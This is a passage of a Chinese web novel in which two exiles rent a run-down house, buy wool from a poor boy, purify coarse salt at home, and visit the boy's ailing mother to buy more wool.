姜淮虽然没有怎么正经地织过毛衣,但是小时候跟在大人身边,也是动手织过几回,只是太久没有碰了,就有些生疏。
不过这一切,也得看他能不能做出毛线来,做不出来,一切都是枉然。
至于怎么做毛线,姜淮努力回忆了一番,他小说看得还是挺多的,穿越文当中有些作者力求真实,还真写了不少科普小知识。以前看到这些,评论区都是吐槽作者是真想教他们如何纺线织毛衣,可现在,姜淮只庆幸自己没有因为觉得无聊就略过。
甚至还挺有科研精神地去多看了一些资料,虽说只是看过就过了,但现在再回忆一下,记忆里多少还残留了一点知识。
也不知道是不是穿越了一次,灵魂得到了锻炼,姜淮感觉对现代的记忆还挺深刻的,只是还不能算过目不忘,需要使劲地回忆才能想起一点点来。
想得大脑都有点痛了,姜淮才勉强从记忆角落里将如何纺线的文字给找了出来。
从回忆中抽身,姜淮感觉大脑有点疼得厉害,不敢继续往下想了,反正现在想到的这点也够用了,之后需要再想吧。
……
姜淮这边洗浴的同时想着赚钱的主意,萧靖昭这边则是被人包围。
“这衣裳真是那人身上穿的那件?”
“如假包换,你看看这样式,这颜色,就是这件。”
“可怎么看着不太一样啊?”
“这拿手上和穿人身上自然就不同,拿回去给你家夫君穿上,那不得英气十足。”
一个衣架子对衣裳的加持有多强,掌柜的现在算是见识到了。
原本他冲动过后,等姜淮离开,又有点后悔了,觉得自己这次太冲动了,只是话也说出口去,碍于脸面,掌柜的也不好反悔了。
只是很快,他就发现这银子确实没有白花,戴上面具后的萧靖昭就更加的显眼了,在门外来来往往的行人注意到铺子里的人影后,都下意识朝这边看一眼,这一眼就一下子就落到了萧靖昭身上。
普通行人只是略微看一眼,可稍微有点买衣裳意愿的人看到他身上这身冬衣,都忍不住多看两眼。
掌柜的早早就注意着这点,立刻出声招揽客人,客人瞥见萧靖昭身上的衣裳,就忍不住进来了,这一进来,被掌柜的一通推销,加上萧靖昭身上衣裳的显示效果,就让客人有些心动了。
这身冬衣的缺点就是丑了点,拿得出钱的不乐意买,乐意买的拿不出这么多钱,而有萧靖昭做招牌,丑的缺点其他人就看不出来了,只觉得这衣裳穿着让人显得格外精神。
被人包围,萧靖昭听着屋内嘈杂的声音,不自觉皱眉,下意识算着时间,等着姜淮回来。
送走了几批客人,将库存的衣裳都卖完了,顺便还多卖了几件衣裳,这么一会的工夫,可比往日一天卖的衣裳还多,掌柜的喜笑颜开,看向萧靖昭的目光别提有多热切了。
哪怕知道面具下是张冷脸,掌柜的也毫不介意,甚至给萧靖昭沏了一壶茶,省得对方坐着没事干。
“贤弟啊,你们下次再买衣裳,一定要来我这铺子,到时候一定给你最低的价钱,绝不让你吃亏。”掌柜的笑眯眯道。
萧靖昭没有吭声,掌柜的也不尴尬,他这么说也不是要得萧靖昭的回复,而是想要让对方将这话传达给姜淮。
又等了一会,萧靖昭朝远处望去,看到一个熟悉的身影走过来,下意识起身迎了上去。
掌柜的跟着看了过去,也看到了姜淮的身影,不过倒是没有跟上去,毕竟他这铺子得看着。
萧靖昭快走几步,接过姜淮手里的旧衣物,站在姜淮身边,为他挡住从侧面吹来的风。
迎面吹来的风被挡住了,确实暖和了不少,姜淮冲萧靖昭笑了笑,又努力地往他身上挨了挨,尽量让萧靖昭替他挡住全部的风,现在不是客气的时候。
这刚刚洗完澡,洗完头,哪怕头发已经烘干了,身上也穿得厚实,可一阵风吹过来,依旧有些冷得慌。
“看来,你这衣架子的活做得不错啊。”注意到掌柜朝这边看过来的热切目光,姜淮喃喃道。
“来了不少人,都买了衣裳走。”萧靖昭低声道。
姜淮听完忍不住抬头,不知道是不是他的错觉,他感觉萧靖昭的声音中带着点炫耀,但同时又似乎带着点委屈。
藏着面具下的面容看不真切,只能看到一双眼尾微垂的眼眸,透着点说不出的凛冽。
“只这一次,之后我们就有钱了。”姜淮没忍住,抱住了萧靖昭的手,对方在屋子里待着,出来并不久,身上热乎乎的,让姜淮很是暖和了一下。
“你捡到钱了?”萧靖昭脱口而出。
忽地想到要怎么解决缺钱的困境了,他可以把剩下的钱用捡钱的名义拿出来,这理由虽然简单,但又确实可能发生。
“哪里有那么巧,是想到一个赚钱的生意,不过得看能不能做成,要是可以的话,说不定明年的牢役钱就有了。”姜淮笑了一下道。
赚钱的主意?
虽然对姜淮所谓赚钱的主意并不在意,可看到姜淮因为这事而满脸笑容,萧靖昭什么也没说,只是在内心更换了一下送钱办法。
做生意也不错,只要姜淮开始和外界沟通,他就有办法将银子送到姜淮的手上,到时候姜淮也不用像刚才一样地窘迫了。
归还了衣服,再穿上萧靖昭换下来的冬衣,姜淮感觉浑身都被温暖所笼罩。
拒绝了掌柜试图让萧靖昭多做一会招牌的事,姜淮付了钱,正准备离开,忽然想起刚才那个小孩,身上皮袄破旧不堪,一层又一层的补丁,看得出是小袄子改大,足见家庭情况。
他要做羊毛生意的话,必然先得用一些羊毛尝试做点成品,这成品去哪买都行,既然如此,干脆就找那个小孩买算了。
而看掌柜的态度,应该是认识那个小孩。
姜淮转身,掌柜的以为他是改变了主意,笑开了花,就听姜淮说:“掌柜,刚才那个卖羊毛的小孩,你知道他家在哪里吗?”
掌柜的笑容垮了下来,有些失望,可以为姜淮是觉得羊毛暖和,还是苦口婆心劝了起来:“小公子,你别看羊皮暖和就以为这羊毛也能取暖,这羊毛做成毛毡垫子还行,可想在身上取暖,那真不行啊。”
“掌柜,我就是看看,要是真不合适,我也不会买,只是身上的银钱也就这么点,得省着点花。”姜淮笑着回道。
掌柜的沉默了一瞬,想起刚才姜淮为了银子斤斤计较,叹了口气,这没钱就是万难啊,也不再劝说,告知姜淮那个小孩的住处。
本来他不应该知道的,可谁让他夫人娘家就在那小孩住的附近呢,自然也就了解到了。
只是以往都是小孩他娘将羊毛做成毛毡毯售卖,虽说赚不了多少钱,但是供母子俩生活还是可以的,怎么如今就换成这小孩出来兜售羊毛了。
掌柜的心底有些疑惑,却也没有再深想,忙活自家的事都不够,哪里有闲心去管他人家的事。
……
虽然很急着赚钱,但是人总得先稳定下来,才能考虑赚钱的事宜。
姜淮和萧靖昭奔走几日,最后在城西选中了一座宅子作为落脚地。
这座宅子离西城门近,进出城都很便利,最主要是宅子里有个大院子,方便姜淮做点手工试验。
当然,最主要是这里的租赁价格够低,因为这宅子似乎是遭了兵灾,好几间屋子都被打得破破烂烂,而且这附近其他的房屋也都被拿出来租赁,所以价格就被压了下来。
姜淮打听了一番,之所以这么多房屋被放出来租赁,也是因为原来的主家被蛮族给霍霍了,能搬走的都搬走了,剩下没有能力搬的,哪怕害怕也只能继续住在这里,也就让姜淮省了一笔开销。
只是这租金低,这宅子除了一个空架子在,其他能用的桌椅家具,稍微好点的都被搬走了,只留下一张咯吱作响的床和几个凳子。
推开房门,看着空荡荡的屋子,姜淮深吸口气,准备感慨两句,然后被空中的灰尘给呛了一下。
“咳咳”姜淮连着咳嗽了好几声,飞快地从屋子里逃了出去,在门口呼吸了两口正常的空气,才稍微停下了咳嗽声。
“来,喝点水。”萧靖昭将水壶送到姜淮嘴边,眼中带着一丝笑意,他实在没想到姜淮居然会在满是灰尘的屋子里深吸口气,也就没来得及拦住他。
姜淮赶紧灌了一口水,喉间的不适感才被消减了些。
“还好今天天气好。”姜淮抬头看看天上的大太阳,和前两日比,今天这日头是真不错,算得上是他来安远府这么些天,天气最好的时候了。
“今天大扫除吧。”姜淮说道,见萧靖昭不解,“就是把屋子从里到外的打扫一遍。”
不过瞅了眼这宅子的面积,再看看自己和萧靖昭两个人,姜淮眨眨眼:“当然,先打扫我们住的屋子,这外面就待会再说,指不定下场雨,老天爷就帮我们清洗干净了呢。”
屋子里就不能指望下雨,要真下雨,到时候还得补补屋顶。
两个没有什么打扫经验的人,在宅子里一番折腾,又是扫地又是浇水,总算是将屋内的漂浮的灰尘给去掉了一部分,至于剩下的,姜淮也没有什么办法,只要不呛人就好。
顺便还将床铺也给收拾了一番,铺上新买来的草垫子,蒙上被单,放上被子,也差不多够两人睡觉。
姜淮顺便还去宅子旁边的厨房看了下,厨房里的灶台和碗柜都是砌出来的,也搬不走,所以留在了原地,其他的,连柴火都搬空了,只地上残留着掉落下的小柴火,大约是懒得再弯腰捡。
姜淮收拢了下掉的柴火,以他之前烧火的经验来看,做一顿饭应该可以。
说到做饭,姜淮脑子里不由自主就冒出曾经吃过的各种美食,要说来古代,最让姜淮难以接受的就是吃。
流放路上,有了萧靖昭后,吃得好了些,可每天不是干粮,就是直接用粗粮加野菜熬的菜饭,真配饭吃的菜就是一点酱菜,每个人就那么一点点,哪怕是皂卒也吃不了多好。
至于到了安远府,军营里吃的也就那样,而这几天自由了,倒是能吃得稍微好点,可要说能多符合姜淮的胃口,姜淮只能说味道也就那样,不管是制作的精细程度,还是调味,都非常的一般。
没办法改变的时候只能忍受世界的压迫,可是现在能改善点生活,姜淮还是想改善下的。
“买的盐放在哪里了?”姜淮从厨房出来,就去找他们之前买的东西。
因为来之前就知道这屋子里很多东西都没有,姜淮来之前就和萧靖昭去各处铺子买了些生活必需品,盐就是其中之一。只是进来后只顾着打扫卫生,姜淮都不记得放哪里去了。
萧靖昭看到姜淮去厨房,就已经将买来的粮油盐酱准备好了。
看到萧靖昭竟然早早地就拿了出来,姜淮忍不住竖起大拇指,不愧是魏哥,真是太细心了。
“这是什么意思?”看到姜淮的动作,萧靖昭忍不住问道,前几日看到姜淮做这个动作他就有些好奇。
“这个啊,是说你最棒了,是第一厉害。”姜淮眉眼弯弯,晃了晃手指,伸手去拿盐。
“这样就算厉害了吗?”萧靖昭问。
“当然了,我出来的时候还以为要到处找,结果你就先拿好了,这么注意细节,当然很棒。”姜淮认真夸奖道。
萧靖昭垂眸,让人看不清脸上的神情变化,不过姜淮觉得萧靖昭应该是被他夸得害羞了。他这几天发现,萧靖昭明明处事很周到,但好像不自知,要是被夸一句,反而会各种不适应的样子。
姜淮怀疑萧靖昭以前是经常被人打压,不过这种怀疑他也不好直接问出来,毕竟这是对方的私事,只能尽量用夸夸来增强对方的一点自信心。
姜淮见好就收,没有继续夸下去,打开盐包,灰黑色的盐块露了出来。
姜淮用手指蘸了一下,尝了尝,苦涩中夹杂着点咸涩,这味道……
不愧是卖得最便宜的盐,就是难吃。
看到姜淮的表情变化,萧靖昭压下心底复杂的情绪,又有些困惑了,他们去买盐的时候,明明有些上好的盐可以买,虽说价格贵了些,但是盐又不需要吃太多,可姜淮却还是选了这些最劣等的盐。
萧靖昭当时不解,可现在看来,萧靖昭怀疑是不是因为姜淮以前没有吃过这种盐,所以也不知道这盐到底有多难吃,只是想着省钱了。
“这盐别吃了,我再去买点回来吧。”萧靖昭担心自己不开口的话,姜淮就直接用这个盐做饭了,可看姜淮这样子就知道他肯定是吃不惯了。
“没事,买之前我就知道这盐肯定不好吃。”姜淮拦住萧靖昭。
凡是学过化学的人都知道一个考点,粗盐提纯,虽然不能消掉一些水溶性的杂质,但是可以去除大部分的杂质,也能让盐的味道更好一些。
与其花大价钱买贵的盐,还不如买这种差的盐,然后提纯一番,虽说会让盐的分量缩小,但是比起买贵的盐来还是划算。
不过姜淮没想过用这个办法去赚钱,现在盐铁都是官营,贩卖私盐都是冒着掉脑袋的风险,要是实在没有起步的方向也就算了,他都有羊毛作为创业方向,就不要去碰盐这道红线了。
不过不能靠盐赚钱,自己提纯一点盐吃吃应该不要紧的。
只不过要提纯粗盐的话,最后一步蒸发结晶需要的柴火不少,这宅子里的柴火不够了,姜淮催着萧靖昭去外面买些柴火回来。
这也算是住在城里的一点不便,如果是住在城外,这时候就可以直接去外面捡点柴火,可在这城里,就只能买柴火。
在萧靖昭出门的时候,姜淮将陶罐装上水,然后丢入足量的盐块,直到盐块彻底融不进水才停下来。
第一次提纯也不能提纯太多,毕竟烧柴也是要时间的,稍微做一点用来做菜就好。
看着水从清澈变为浑浊,姜淮回身翻了一下,从行李中翻出他之前制作的过滤器。
这个过滤器是在他流放路上做的,用一根粗大的竹筒作为主体,最下面塞着他之前撕下来的布条,再上面一点放上了烧制的木炭,虽说烧得很粗糙,但是也能用,之后依次是放了细沙,粗沙,小石子,专门用来过滤脏水。
最开始姜淮没有想过做这个,因为开始喝的溪流水都挺干净的,哪怕为了安全着想,水烧开也就好了,只是后来连着下雨,溪水河水都浑浊了,哪怕等沉淀一会也看着干净了些,可姜淮还是想办法弄出了一个过滤器来过滤水。
唯一的问题就是用这个过滤水的速度比较慢,姜淮做成之后也很少用上,现在倒是可以用上了。
萧靖昭不知道姜淮的想法,只当姜淮是舍不得买的盐,出门买柴火,路过一旁卖馅饼的摊子,想了想,还是买了几个馅饼,万一饭菜不好吃,就让姜淮吃这个吧,明日再去买新盐。
第24章 第 24 章
提着一大捆柴火往回走, 萧靖昭又听到兜售羊毛的声音,脚步顿住,扭头一瞧。
一个衣着破烂的小孩抱着羊毛, 在大街上向人兜售,只是路人要么看都不看,要么嫌烦直接赶他走。
他记得姜淮前两天问掌柜的要了卖羊毛小孩的住址, 只是这两天忙, 姜淮也就一直没有去买,现在既然看到了, 那就买点吧。
萧靖昭脚步一转, 朝着小孩走去。
发现路人对羊毛一点兴趣都没有, 小孩失落地垂着头, 却在听到有人朝他这边走来时又撑起笑脸, 张口准备重复刚才的说辞。
“这些羊毛我都要了。”
“全,全都要吗?”小孩惊喜过头, 都有点结巴, 说完就满脸懊悔,客人愿意都买走, 那不是最好,他怎么还要反问一句, 万一对方听到后真少买了呢。
“全要,多少钱?”萧靖昭惜字如金。
“三十文一斤,这里有,有六斤, 一百八十文。”小孩报价, 有些忐忑地看着萧靖昭,怕萧靖昭嫌贵。
萧靖昭干脆地给钱。
看着到手的银子, 小孩掌心紧张地攥出汗来,他在街上卖了几天羊毛了,之前偶尔有人买,可也是挑剔得很,折腾半天也没有卖出两斤羊毛,而现在,萧靖昭一个人就买了六斤,这是个大主顾啊。
注意萧靖昭一手还提着柴火,小孩开口:“公子,羊毛沉重,我给你送到府上吧。”
萧靖昭下意识想要拒绝,可想到姜淮,犹豫了一瞬又应了下来,若是姜淮还需要更多的羊毛,让对方送货上门自然比上门采购要轻松多了,而且他担心姜淮也有什么问题要问的。
得到萧靖昭的默许,小孩赶紧抱着羊毛跟上了萧靖昭。
两人左拐右拐,重新回到了宅子。
……
姜淮在厨房用掉了最后一点柴火,刚好蒸发结晶出了一点细盐,虽然没有特别的白,但是和刚才灰黑色的盐块还是不可同日而语。
听到门外的脚步声,姜淮将里面的盐扒拉出来,用小罐子装着,兴冲冲出去给萧靖昭炫耀。
“看看,这是什么?”姜淮脸上带着几分小得意,想要看到萧靖昭吃惊的表情,然后看到跟着萧靖昭进来的小孩,表情僵住。
怎么出门一趟还带个小孩回来了。
“羊毛放这里就好。”萧靖昭示意小孩将羊毛放到墙边。
小孩老实地将羊毛放下,尽管对院落有些好奇,却也不敢乱瞧,怕得罪了客人。
“是你?”一大堆羊毛被放下,露出小孩的身影,姜淮定睛一瞧,认出这小孩就是上次那个卖羊毛的小孩,有点惊讶。
小孩闻言抬头,看到姜淮后想了想,也认出了对方。
“我看他在路边卖羊毛,想起你要,就全买回来了。”萧靖昭出声。
小孩顿时意识到,这一家估计是眼前这个更年轻些的少年才是真正的大主顾,顿时有些紧张起来,因为他记得少年当时并没有要羊毛,旁边的掌柜还说了羊毛的坏话,万一对方又不想要了呢。
小孩摸着兜里的银子,拳头捏紧,娘治病必须得喝药,这钱不能还回去,反正都已经卖出去,不如现在就跑吧。
姜淮听萧靖昭这么一说,忍不住又竖起大拇指。
虽然姜淮什么都没有说,可萧靖昭已经明白这个手势的意思了,微微侧头,耳尖有些红,他买羊毛的时候没有想过让姜淮夸他的。
“小孩,你家是在弯头村口大树边吧。”姜淮还记得掌柜说的地址,不过出于谨慎,还是再问一遍。
小孩蓄势待发的脚步被这一句问话给叫停了,如果姜淮知道他家的居所,那他就算现在跑了,姜淮依旧可以追到他家去,反而更麻烦了。
见小孩没有回应,姜淮又问了一句,小孩僵硬地点了点头,姜淮没有多想,只当他是面对陌生人的紧张,倒是萧靖昭看出小孩的不对劲来,略微靠近姜淮,以防万一。
“你家还有多少羊毛?”姜淮问,见小孩愣愣地没有什么反应,姜淮想了想又道,“二三十斤羊毛有吗?”
“有,比这还多,你、你全要吗?”小孩这才反应过来,听出姜淮不是想退货,而是想要更多羊毛,顿时振奋起来,激动地问道。
“暂时还不需要这么多,我先问问,如果你家有,下次需要就都在你家买了。”姜淮笑着道。
小孩失望了一瞬,但很快又振作起来,之前卖出去的两斤羊毛,卖完就没了后续,好歹姜淮这边已经表现出了一个意向,说不定很快就会再买呢。
问完了话,小孩也离开了,姜淮都差点要忘了自己要炫耀的食盐,反倒是萧靖昭还记着刚进门时姜淮说的话,问了出来。
“你刚要给我看什么?”
“啊,差点忘了。”姜淮猛地反应过来,将刚刚放下的小罐子重新提溜了起来,“你猜这是什么?”
尽管并不算好奇,可看姜淮这样炫耀的模样,萧靖昭还是装作好奇的样子朝里一看。
“这是……盐?”萧靖昭一眼就看出罐子里装着的是盐,只不过颜色比他们之前看过的要白不少,“你刚才出去买的?”
姜淮没有回答,而是让萧靖昭先尝一点,看看味道怎么样。
萧靖昭不明所以,却还是沾了一点,入口咸味极重,苦涩味很轻,是上好的精盐。
“怎么样?”姜淮问。
“下次就买这种盐吧,哪怕贵一点,之前那些盐,我看看能不能退掉。”萧靖昭倒不觉得能退掉,之所以这么说也是为了让姜淮安心,省得姜淮觉得浪费了。
“你觉得这个盐得多少钱一斤?”姜淮问。
“至少也要二百文一斤吧。”萧靖昭猜测。
“你猜错了,我没买盐,这些盐就是那些灰色盐块提炼出来的。”姜淮逗弄成功,摇了摇头道。
“这是刚才那些盐块?”萧靖昭这下是真的震惊了,看着罐底雪白的盐花,再想想那些灰黑色的盐块,这怎么可能是一样的盐。
姜淮拉着萧靖昭进后厨,给他展示了一番溶解,过滤,蒸发,结晶。
“就这样,不过也确实会有些损耗,不过比买贵的盐还是要划算得多了。”姜淮说。
看着罐底凝结析出的白盐,再看看另一边放着的灰色盐块,萧靖昭忽然感觉傻傻的人是自己。
“这样就把精盐给提炼出来了?”萧靖昭喃喃道。
“对,这样就提炼好了,就是有点费柴火。”姜淮说道。
“你之前说的赚钱的主意,是这个?”萧靖昭抬头道,他原本以为姜淮说的生意是指羊毛,可和提炼精盐比起来,羊毛看着就没有什么利润可言了。
他刚才猜测的两百文价格还是在安远府,如果是去一些大城,尤其是京都的世家显贵,一两一斤盐都能卖出去。
若是能做这笔生意,那何止是牢役钱可以赚到,姜淮之后都不会缺钱了。
姜淮没想到萧靖昭想得还挺大的,不是,你一个皂卒,面对贩卖私盐这种罪行,居然只看到赚钱,没有看到其中的风险吗?
姜淮怀疑是不是因为他这几天过于节省抠门,以至于让萧靖昭对钱财的忧虑加重。
算了,下次还是不要太过节省了,不然引得萧靖昭走了歪门邪道,自己一定会后悔。
姜淮心底告诫了一番,然后摇了摇头:“私盐生意我们做不起来的,要有门路,有靠山,还要有信得过的人手,我们三者都没有,去做私盐生意,只会成为当地官吏的功绩。”
姜淮这话本心是想告诫萧靖昭,然而话落到萧靖昭耳中,就是姜淮其实想做,但是苦于这门生意现在没有势力,也做不起来,才不得不放弃。
“我知道了。”萧靖昭垂眸。
看萧靖昭这么快就被他劝说回来了,姜淮松了口气,他就怕自己一不小心就把萧靖昭给带歪了。
两人各说各的,却都以为自己理解了对方。
不过既然家里有可以吃的盐,萧靖昭摸摸带回来的馅饼,不知道该不该拿出来了。
“等会儿,你这身上,什么味道?”没等萧靖昭开口,姜淮就先闻到他身上那股面食的香气。
见瞒不过去,萧靖昭将馅饼拿了出来,两面焦黄的馅饼还热乎着:“我怕你吃不惯之前的盐,就去买了点芝麻饼备用。”
说完,萧靖昭还有忐忑,担心姜淮觉得他浪费银子了。
却不料姜淮没有什么反应,反而摸摸馅饼,确定还是很热,和萧靖昭两人一起分吃了。
不过光吃饼子还有点干,姜淮又去拿了三个鸡蛋,搅打,加水,加盐,再加一点点香油,放进陶罐里,借着蒸发盐水的热量蒸蛋。
不过分抠门节省是一方面,但是顺势做个菜也行。
很快,蛋羹就做好了,姜淮准备趁热将蛋羹给端出来,却不等他动手,萧靖昭已经将罐子里的碗给拿了出来。
虽然萧靖昭动作很快,可这蛋羹的碗是在沸水中不断地蒸煮,温度极高,手指虽然只挨了一点,却也烫红了一片。
“快捏住耳垂。”姜淮急促道。
萧靖昭不明所以,却还是按照姜淮说的做了,而一捏到耳垂就明白姜淮这么说的原因,手指本来烫得发热,而耳垂却是冰凉冰凉的,手指捏上去就降温了。
萧靖昭行动的功夫,姜淮已经去缸里舀了一碗水出来,让萧靖昭赶紧把手指放进去。
“下次别这么急,小心烫伤了。”姜淮忍不住道。
“可你刚才也急着端。”萧靖昭点出姜淮刚才的动作,如果不是他动作快,就轮到姜淮烫到手了。
“我、我错了,下次我们都小心点。”姜淮有点不好意思,他刚才是闻着鸡蛋羹的香气,就心急了一下。
“现在,就让我们来尝尝这个鸡蛋羹的味道。”姜淮转移话题,看着眼前金黄色的蛋羹,猛地吞口水,他可是太久没有吃到这一份美食了。
两只碗对着放,姜淮用勺子将蛋羹从中间一分为二,用布垫着,将鸡蛋羹完整地分了出来,将其中一碗递到萧靖昭手里。
“你尝尝看。”
萧靖昭其实对食物并没有什么要求,宫中吃着好也就是那样,在宫外流离,吃得再差也就那样,对所谓的好吃的并没有那么的期待。
只是看姜淮如此期待,也不愿意扫兴,一口蛋羹入口,口感细嫩,而且咸淡加得刚刚好,将可能存在的蛋腥气遮得几近于无。
萧靖昭以往倒是没有吃过蛋羹,但是肉羹常吃,可这肉羹似乎都没有蛋羹好吃,要究其原因的话,似乎,似乎是出在盐上。
第25章 第 25 章
肉羹和蛋羹都属于吃食材本身的味道, 调料的味道如何就很影响这道菜的口感,而以往的肉羹,就算加了不少调味料, 却还是残留丝丝的苦涩,尽管苦涩味尽量盖住了,可一回味依旧会带出来。
而这碗蛋羹, 咸淡适中, 回味时只有清淡的咸鲜,苦涩味几近于无。
萧靖昭是亲眼看着姜淮做蛋羹的, 自然清楚这蛋羹中只放了盐和香油, 能影响调味的大约就是盐了。
“是不是很好吃?”姜淮看着萧靖昭吃蛋羹的速度加快, 嘿嘿一笑, 也加快了吃蛋羹的速度, 软嫩细滑的蛋羹下肚,姜淮只觉得满口鲜香, 比之前吃过的各色吃食都好吃。
姜淮完全没有想过, 以前吃食的味道差除了食材和烹饪手法,盐的味道也占一部分原因, 如今的蛋羹好吃,他只当是自己先进的烹调手法起了作用。
半碗蛋羹吃完, 姜淮看着还在煮着的盐水,很想再来一碗蛋羹,只是想想还是放弃了。肚子也算饱了,做羊毛生意前的试验也需要本钱, 还是别花得太多了, 起码等羊毛试验成功再说。
在姜淮吃蛋羹的时候,萧靖昭已经默默地将精盐的价格又提高了一番, 他敢肯定,只要这种盐卖出去,大户人家吃过,自然就会发现其中的不同,到时候哪怕卖得再贵点,对方也不会吝啬这点钱财。
唯一的问题就是,让姜淮出面经营这笔生意,有些过于危险了。
“怎么了?还想吃吗?”姜淮见萧靖昭盯着空碗发呆,以为他是馋了,伸手去拿鸡蛋,准备再做一碗蛋羹,大不了他就不吃了。
“不是,我是想,既然我们做不了这个盐的生意,可以把方子卖出去吗?”萧靖昭拦住了姜淮,问道。
姜淮以为萧靖昭在说胡话,看他一副认真的样子,忍不住叹了口气,魏哥真的是,有点天真了,不懂世间险恶啊!
不过一想到萧靖昭因为他说的托梦,考虑一晚就答应跟着他,来到安远府他说什么就是什么,要不天真老实也不会这么信任他。
作为被信任的一方,姜淮觉得自己有义务教导萧靖昭,让他知道世间险恶。
不过认真谈话的话,在厨房就不太像话了,姜淮牵住萧靖昭的手,拉着对方去了里屋。
屋内除了一张擦洗干净的床,就剩下两个凳子,只是这凳子歪歪扭扭的,姜淮深刻怀疑不维修一下,坐下去能坐塌了,还是选择拉着萧靖昭到床沿坐下。
“魏哥,我知道你很想帮我多赚钱,但是你要知道,命才是最重要的。”姜淮正襟危坐,除去坐在床沿显得有些奇怪外,表情姿势都很是正经。
“这提炼食盐没有什么技术含量的,把方子卖出去,如果遇到的是个好人,可能能得点钱,但是我们也不能要多了,要多了,对方一看这方子,可能就觉得自己上当受骗了,就会针对我们,能买得起这方子的人家,真要针对我们,我们没有办法反抗的。”
“最大的可能是对方拿了方子,觉得步骤简单,担心我们卖给其他人,挡了他们的财路,就把我们给灭口了,这也很有可能。”
当然,最主要是他们现在还没有到弹尽粮绝的地步,如果真的苦到不得不卖方子的程度,姜淮可能会选择卖方子,但有别的路可以走,何必去走九死一生的险路。
不过想了想,姜淮觉得萧靖昭之所以会这么在意提纯粗盐这个方子,可能还是因为没有安全感,现在他们两个人算是坐吃山空,只有一个萧靖昭不了解的羊毛生意在,对方自然就很是担心。
“你放心,我之前说过会让你不愁吃穿,就一定会做到的,实在不行,这盐的味道不错,我到时候去路边摆摊卖吃食,也可以赚钱的。”虽然对记忆有信心,但是羊毛做成毛线,再做成毛衣,步骤也比较繁琐,所以姜淮也做了预备方案。
萧靖昭跟着姜淮来安远府,一是想着稍微照顾一下姜淮,避免他出事,二来就是想着让现在这个身份有名正言顺的理由留下,至于留下后还要在姜淮身边待多久,萧靖昭自己也不确定。
可看到姜淮要养他的态度,想要离开的想法却不自觉变淡了些,多留一会也挺好的。
……
稳定下来了,次日,姜淮就开始做羊毛试验。
羊毛想要制成毛线的步骤他还记得,清洗,烘干,弹毛,针梳,捻线,卷绕,里面的每一个步骤都很关键。虽然并不要求他制作出来的毛线真的和现代的毛线差不多,但起码也要摸着稍微舒服些,不然根本卖不出去。
理论知识再丰富,动手做起来也是千难万难的,清洗,烘干,弹毛,针梳,哪怕有些麻烦,可姜淮还算是顺利地走了过来,毕竟在不限制成本的情况下,这些步骤都还可以闯过来。
但是到了纺线这一步,姜淮愣住了,他从来没有接触过纺线,更别提用羊毛纺线了。
就算他想学,先不说多耽误时间,就算他学会了,也是个新手,纺线肯定也是笨手笨脚的,不一定能发现纺线的问题出在哪里,这就需要找个熟手了。
不过在这之前,他得再去买点羊毛,姜淮没有想到六斤羊毛这么不禁用,随便试验一下,就给用光了。
好在羊毛试验虽然用完了,用过的羊毛也不是完全没有用,毕竟基本算是清洗干净了,可以垫到草垫下增加床垫的厚度,也让床更加保暖一点。
要去城外的村子,姜淮自然不会一个人去,万一路上遇到危险,一个人就真是叫天天不应,叫地地不灵了,萧靖昭要陪着一起去。
出城,问路,弯头村就在安远府府城不远的地方,来回路程大概只有三十里地不到。
刚出城,姜淮还没有什么感觉,多走了几步,就再次体会到了走路的辛苦,明明十天前还在路上奔波,还走得更辛苦,当时因为习惯了,都不觉得太苦,现在却反而不习惯了。
咬牙硬撑着走到了弯头村,姜淮远远地就看到村口往外一些的方向有一棵大树,树下盖了一间屋子,想来就是那小孩的家。
想到这,姜淮才发现自己都忘了问小孩的姓名,待会得问问,不然做生意,连名字都不知道就有点不合适了。
走近了,姜淮隐隐能听到里面传出的咳嗽声,以及小孩的说话声,姜淮松了口气,不枉他提早出发,好在人都在家。
姜淮敲了敲院门,屋内的声音一顿,一个有些虚弱的女声传出:“谁啊?”
“娘,你歇着,我去看看。”
一个瘦弱的男孩从屋内出来,面带警惕,见到院外有两个男人,先是一惊,待看清来人的容貌后,顿时露出惊喜之色。
上次姜淮说可能要买羊毛,回来后他本想告诉娘这个好消息,可又担心姜淮说不定不会来,就又将消息咽了回去,而这过了几天都没见姜淮来,他都以为这生意黄了,庆幸自己没有说,不然会让娘白高兴一场,却不想都不抱希望了,姜淮居然又上门来了。
“姜公子,你是来……”男孩有点克制不住眼中的激动,话说到一半,忽地想起以前听人说过的待客之道,又把话给咽了回去,“姜公子,你们快进来,我去给你们沏茶。”
男孩招呼两人进来,屋内女人听到外面的动静,跟着出来看了看,见是两个年轻男子,动作微顿。
“娘,你怎么出来,外面风大,快回去歇着。”男孩端着茶水出来,看到娘出来,赶紧拉着她回屋歇息。
“没事,娘就在这屋子里,也没有出去,来客人了,总不能一直让你接待。”女子温柔地笑了笑,尽管满脸病容,可却能看出年轻时的容貌极为出色。
“奴家贺氏,这是小儿骆远,两位公子……”贺氏看向两人,有些犹豫要怎么称呼。
“我叫姜淮,这是魏西。”姜淮开口自我介绍了一番,然后道明来意,他们是来买羊毛的。
“之前那六斤羊毛就是他们买的。”骆远拉了拉贺氏的衣袖,低声道,只是屋内太.安静,以至于他的低声和正常说话也没差多少,意识到自己和娘说小话被人听到了,骆远面红耳赤,不吭声了。
知道两人是要买羊毛,贺氏也不耽搁,带着两人去了一边的库房。
库房不算大,但是堆了不少羊毛,以至于屋内的气味有些难闻,这要是放之前,姜淮肯定受不了,但是这几天不停地折腾羊毛,都已经习惯了这个味道。
贺氏一直在观察两人,见姜淮对羊毛的味道居然很能接受,惊讶了一瞬,却又安心了些,对方确实是来买羊毛,而不是有别的意图。
确定对方是真心来买羊毛,贺氏认真介绍起来,顺便询问姜淮需要买多少。
“来二十斤吧。”姜淮心底算了算,觉得先买个二十斤就差不多,能用一阵,至于更多的,下次还是搭牛车来买,不然全靠人力背回城去,太辛苦了些。
二十斤羊毛不算多,可对贺氏来说,不能做毛毡垫子后,这些羊毛能卖出去一点,就是收回了一点本。
况且她还记得远儿带银子回来是什么时候,这才过去几天,姜淮就又要买羊毛了,说明他那边对羊毛的需求很大,这二十斤指不定也用不了多久。
只不过这么多羊毛要背起来,那就需要容器装,姜淮有点懊悔自己忘了带器具过来,就见贺氏笑了笑,进屋翻找了一会,出来时手里就拿着一张线网。
“姜公子,你若不嫌弃的话,可以用这个装。”
线网编得有些密,比渔网要稀疏一些,显然是还没有编完,但是用来装羊毛是绰绰有余,而且网线看起来很结实。
不过这都不重要,重要的是姜淮发现这网线不像是麻,而像是羊毛做的线。
等下,现在就有羊毛做毛线吗?
